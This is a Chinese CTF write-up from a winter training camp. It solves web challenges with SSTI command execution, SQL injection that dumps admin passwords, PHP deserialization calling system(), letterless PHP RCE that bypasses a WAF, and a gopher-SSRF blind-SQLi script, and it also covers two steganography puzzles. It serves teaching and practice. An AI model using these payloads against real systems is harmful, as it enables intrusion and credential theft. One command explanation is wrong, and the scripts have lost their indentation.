0%

ROIS冬令营第三周至第五周WriteUp

ROIS冬令营第三周至第五周WriteUp(更了misc的两题

web

[Week3]SSTItest

payload:username={{lipsum.__globals__["os"].popen("tac ../flag").read()}}&password=1

LinTu的留言板sql注入

测试(以下第一行都在id处输入,第二行都在留言处输入

1
2
1','2')#
11

输出:1 说 2

查当前库名

1
2
1',database())#
11

输出:1 说 test

查库名

1
2
1',(select group_concat(schema_name) from information_schema.schemata))#
11

输出:1 说 mysql,information_schema,performance_schema,sys,sakila,world,test

查表名

1
2
1',(select group_concat(table_name) from information_schema.tables where table_schema='test'))#
11

输出:1 说 guestbook,user

查字段

1
2
1',(select group_concat(concat_ws(':',username,password)) from test.user))#
11

输出admin及其密码

[Week4]babyphp

刚开头给的函数是backdoor函数,传入六个参数,但是在下面的代码里面,除了在popko类中,其他的并没有调用这个backdoor函数
由题意得,我们应该用到这个backdoor函数

按顺序捋捋应该是:

  1. 首先是传入一个c,当c中不包含字符串popko,就会反序列化c中的字符串;
  2. 反序列化后会调用popko类中的__destruct函数;
  3. popko类中的__destruct函数中又会调用pipimi类中的__destruct函数;
  4. __destruct函数中会调用backdoor函数;

  1. 首先,构造一个可以被反序列化的字符串c,利用反序列化漏洞,构造一个可以调用backdoor()函数的对象,利用 Popko 类,Popko类有一个 __call() 函数,当left和right值相同,且md5和sha1值相同,它会调用backdoor()函数。

  2. 然后,利用 pipimi 类,构造一个可以调用 Popko 类的对象,利用 pipimi 类来构造,调用 Popko 类的 a 函数,从而调用 Popko 类的 __call() 函数。

  3. 然后,构造出c后就可以调用backdoor()函数;

构造c

  1. 传入popkp:php是一种弱语言,strstr()对大小写敏感,可以用Popko大写绕过这样。。
  2. left和right值相同,且md5和sha1值相同:数组传参;
1
2
3
4
5
6
7
8
$popko=new popko();
$pipimi=new pipimi();
$right[]=1;
$left[]=2;
$popko->right=$right;
$popko->left=$left;
$pipimi->a=$popko;
echo serialize($pipimi);
  1. 得到O:6:"pipimi":1:{s:1:"a";O:5:"popko":2:{s:4:"left";a:1:{i:0;i:2;}s:5:"right";a:1:{i:0;i:1;}}}POPKO
  2. 绕过__wakeup():序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行,2改3;
  3. 成功调用backdoor函数。

  1. &a=ErrorError类;

  2. &b=systemcat%20/f*指定b的值为systemcat /f*,这是一个命令,它会搜索当前目录下所有以.f结尾的文件。

  3. &d=7&e=6&f=13&g=7指定d,e,f和g的值为7,6,13和7,它们是用来指定Popko类的实例的left和right属性的字符串长度的。

?c=O:6:"pipimi":1:{s:1:"a";O:5:"POPKO":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}&a=Error&b=systemcat%20/f*&d=7&e=6&f=13&g=7

[Week4]cachewaf

`cmd=system(‘ls’);发现被过滤,经过测试是system被过滤。

搜个无数字字母rce的,cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=echo 1111;

然后cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=ls /把/目录下的文件和目录列出来。

但是在cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=cat /f*提取flag时,flag是错的。

输入cmd=$%DF=(_/_._)[0];$_=%2B%2B$%DF ;$%DE=_;$%DE.=%2B%2B$_.$%DF;$_%2B%2B ;$_%2B%2B;$%DE.=%2B%2B$_;$%DE.=%2B%2B$_;$$%DE [0]($$%DE [_]);&0=system&_=cat waf*发现flag会被替换并且被编码。

。。。然后。。。利用shelI写文件绕过waf这部分还在捋捋。。。但是看到了wp给出的非预期解(?)。。。

1
2
3
cmd=echo `ls /`;
cmd=echo `cat /f?ag`;
cmd=echo bin2hex(`cat /f?ag`);

然后hex解一下就好

[Week4]internal

由sqli可以知道真实的地址要在它服务端本地发出的,才能够进行sql查询。。
由ssrf提示可得,可以利用gopher协议,构造一个数据包然后传进去,使服务器以为是本地发送的请求。
构建如下:
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2

然后利用id进行传参。。

空格可以用/**/替换,但是不知道为什么我"un"+"ion"构建不成功,试了大小写双写内联注释URL编码都不行。。。好吧只能一个一个布尔盲注一下
查库名
库名长度为3
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(length(database())=3)

库名第一个字符ASCII值为114(r)
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(ASCII(SUBSTR(database(),1,1))=114)

同理可得,第二个字符是(u),第三个是(a)
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(ASCII(SUBSTR(database(),2,1))=117)

url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(ASCII(SUBSTR(database(),3,1))=97)

即,数据库名为rua。

查表名
求当前数据库存在的表的数量
当前数据库存在2个表
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(select/**/count(table_name)/**/from/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database())/**/=/**/2

查表长度,为4
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(LENGTH((select/**/table_name/**/from/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1)/**/))/**/=/**/4

表名第一个字符ASCII值为102(f)
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),1,1))=102

同理可得,第二个字符是(l),第三个是(a),第四个是(g)
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),2,1))=108

url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),3,1))=97

url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/table_name/**/FROM/**/information_schema.`TABLES`/**/where/**/table_schema/**/=/**/database()/**/LIMIT/**/0,1),4,1))=103

即,表名是flag。

求列名
求表中列的数量(1个)
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"flag")/**/=/**/1

求表中列的长度,4有输出5没有,所以长度是4
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"flag"/**/limit/**/0,1),4,1))

第一个字母ASCII值为102(f)
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/"flag"/**/limit/**/0,1),1,1))=102
同理,列名是flag

求字段
求字段数,只有一个。。。很好
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/(select/**/count(flag)/**/from/**/flag)=1

求字段长度,24有输出25没有,所以长度是24
url=gopher://127.0.0.1:80/_POST%2520/sqli.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25202100%250D%250A%250D%250Aid=2/**/and/**/ASCII(SUBSTR((select/**/flag/**/from/**/flag/**/limit/**/0,1),24,1))

然后。。就一个一个的字符的。。试。。或者burp爆破。。再动上一点小脑筋。。。。
24个字符扣掉ROIS{}还有18个。。没有很多。。
b244fea670d1fd320360c67fd6e2fb96.png
最后解得flag的值

学长给了个python的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import urllib.parse
#导入urllib.parse模块,用于对url进行编码
import requests
#导入requests模块,用于发送http请求

def fuck():
#定义一个函数,名称为fuck
url = "http://101.43.57.52:43083/curl.php"
#定义一个url变量,用于存储要发送请求的url
result = ""
#定义一个result变量,用于存储最终查询到的结果

for i in range(1,1290):
#使用for循环,循环次数为1290次,循环变量i从1开始
head = 32
#定义一个head变量,用于存储字符的ASCII码的范围,初始值为32,对应空格
tail = 127
#定义一个tail变量,用于存储字符的ASCII码的范围,初始值为127,对应~
while head < tail:
#使用while循环,当head小于tail时,循环继续
mid = (head + tail) >> 1
#定义一个mid变量,用于存储字符的ASCII码的中间值,等于head和tail的平均值
sqli = "1/**/and/**/if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))>{},1,0)%23".format(i,mid)
#查库名
sqli = "1/**/and/**/if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='rua'),{},1))>{},1,0)%23".format(i,mid)
#查表名
sqli = "1/**/and/**/if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{},1))>{},1,0)%23".format(i,mid)
#查列名
sqli = "1/**/and/**/if(ascii(substr((seLect(flag)from(rua.flag)),{},1))>{},1,0)%23".format(i,mid)
#查字段
id = urllib.parse.quote(sqli)
#使用urllib.parse.quote方法对sqli变量进行编码
id_length = len(id)+3
#定义一个id_length变量,用于存储编码后的sqli语句的长度
payload = f"""
POST /sqli.php HTTP/1.1
Host: 127.0.0.1
Content-Length: {id_length}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id={id}
"""
#定义一个payload变量,用于存储构造的http请求
# print(payload):打印payload变量,用于查看构造的http请求
tmp = urllib.parse.quote(payload)
#使用urllib.parse.quote方法对payload变量进行编码
new = tmp.replace("%0A","%0D%0A")
#使用replace方法对编码后的payload变量进行替换,将%0A替换为%0D%0A
res = 'gopher://127.0.0.1:80/_' + new
#定义一个res变量,用于存储替换后的payload变量
dataa = {
"url":res
}
#定义一个dataa变量,用于存储要发送的数据
r = requests.post(url=url,data=dataa)
#使用requests.post方法发送http请求,url参数为url变量,data参数为dataa变量
# print(r.text):打印r.text,用于查看返回的内容
if "meow meow meow" in r.text:
#如果返回内容中包含"meow meow meow"字符串,则执行if语句中的内容
head=mid+1
#将head变量设置为mid+1
else:
#如果返回内容中不包含"meow meow meow"字符串,则执行else语句中的内容
tail=mid
#将tail变量设置为mid
if head !=32:
#如果head变量不等于32,则执行if语句中的内容
result+=chr(head)
#将head变量对应的字符添加到result变量中
else:
#如果head变量等于32,则执行else语句中的内容
break
#跳出for循环
print(result)
#打印result变量,用于查看最终查询到的结果
fuck()
#执行fuck函数

Misc

福到了

  1. png图片用winhex或010 Editor打开,可以在最末端IEND区后发现一个DM(但是因为不知道怎么用,很长一段时间没重视它(
  2. Stegsolve可以看到R、G、B的0通道左上角和下面一排均有隐写痕迹,根据提取出来的fudaole的信息,可得,将图片翻转(这图不仅倒了还反了。。
  3. 翻转后再次用Stegsolve打开,r0/g0/b0均有504B开头数据,是zip文件头格式,保存为zip,打开压缩包,里面是一个叫binary的文件
  4. 学长给了hint是DM是个缩写,和一个关键词:“barcode”
  5. 可以联系到DM是DataMatrix的缩写
  6. 用winhex打开binary,观察十六进制数值可以发现开头是AAAA..结尾是FFFF..
  7. 文件名联想二进制转换可得开头是101010..结尾是111111..
  8. 研究DataMatrix形式可得其最上面一行和最右边一行是黑白格相间,最下面一行和最左边一行是全黑格,跟二进制数值有相符的地方,由此推测出用二进制绘制DataMatrix
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
binary_value=bin(0xAAAAAAAAA92FA88BA664D1E08EDFA2479912C45CC2A3DD25ED44DA1E8EAFFA6BD154C732A32BCE0BC65491D4A8C9BB1B9110C150E223DD4DD46E8C5EFFFFFFFFAAAAAAAAAAA99283B152D446A2B3D145E74ED7E48885992B9D60A662AB77A05FFC649666CA53AD43B48EC59EBF119825EAF2A2EC82A7B4BBB256E5E6FFFFFFFF)

binary_string=binary_value[2:]

print(binary_string)

print(len(binary_string))
# 1024=32x32

# 将字符串转换为二维数组
binary_list = [binary_string[i:i+32] for i in range(0, len(binary_string), 32)]

# 将二进制转换为黑白图案
for i in range(len(binary_list)):
for j in range(len(binary_list[i])):
if binary_list[i][j] == '1':
print('██', end='')
else:
print(' ', end='')
print()
  1. 出来的DataMatrix码找个网站扫扫,即为flag

ez_gugugu

  1. 将gugugu.jpg用winhex打开后发现尾部有PKflag.txt字样

  2. 分离

    用binwalk打开
    python binwalk -e gugugu.jpg
    输出

    1
    2
    3
    4
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    0 0x0 JPEG image data, JFIF standard 1.01
    102642 0x190F2 End of Zip archive, footer length: 22

    分离zip文件
    python binwalk -D "zip archive:zip" gugugu.jpg
    我自己做时应该还能用,不知道为什么写wp时分离不成功了

    或者在winhex里搜索十六进制数值FFD9,复制其后面的十六进制,发现zip文件头损坏,补上504B,粘贴为zip文件保存

  3. zip压缩包提示有密码

根据encode.py写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from PIL import Image
f1 = Image.open("next.png")
f1 = f1.convert("RGB")
f2 = Image.open("ff.png")
f2 = f2.convert("RGB")
new = Image.new("RGB", f2.size)
h = f2.height
w = f2.width
print(h)
print(w)
for i in range(h):
for j in range(w):
r1, g1, b1 = f1.getpixel((j, i))
r2, g2, b2 = f2.getpixel((j, i))
new.putpixel((w-j-1, h-i-1), (r1 ^ g2, g1 ^ b2, b1 ^ r2))
new.save("flag.png")
  1. 在flag.png上得到压缩包密码,打开压缩包,得到flag